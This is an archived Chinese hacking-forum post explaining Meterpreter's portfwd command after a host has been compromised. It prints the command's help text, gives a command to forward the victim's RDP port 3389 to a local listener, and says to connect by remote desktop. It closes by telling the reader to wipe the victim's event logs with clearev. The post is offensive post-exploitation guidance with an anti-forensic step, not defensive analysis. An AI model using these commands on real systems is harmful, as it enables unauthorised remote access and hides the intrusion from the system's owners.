meterpreter中的端口转发命令portfwd-女黑客 - Powered by Discuz! Archiver

nvhack 发表于 2023-2-3 11:38:00

meterpreter中的端口转发命令portfwd

portfwd 命令详解
meterpreter > portfwd -h
Usage: portfwd [-h]

OPTIONS:

    -h   Help banner.
    -i   Index of the port forward entry to interact with (see the "list" command).
    -l   Forward: local port to listen on. Reverse: local port to connect to.
    -L   Forward: local host to listen on (optional). Reverse: local host to connect to.
    -p   Forward: remote port to connect to. Reverse: remote port to listen on.
    -r   Forward: remote host to connect to.
    -R   Indicates a reverse port forward.
-add 添加
-l 你自己公网监听的端口
-p 目标主机的端口,一般是要转出来的端口
-r 目标主机要链接的host,一般是你自己的公网地址

在得到meterpreter 后,执行命令
portfwd add -l 999 -p 3389 -r 127.0.0.1

打开metsc,链接IP地址:192.168.1.26:999


最后不要忘记,清除日志
clearev



页: [1]
查看完整版本: meterpreter中的端口转发命令portfwd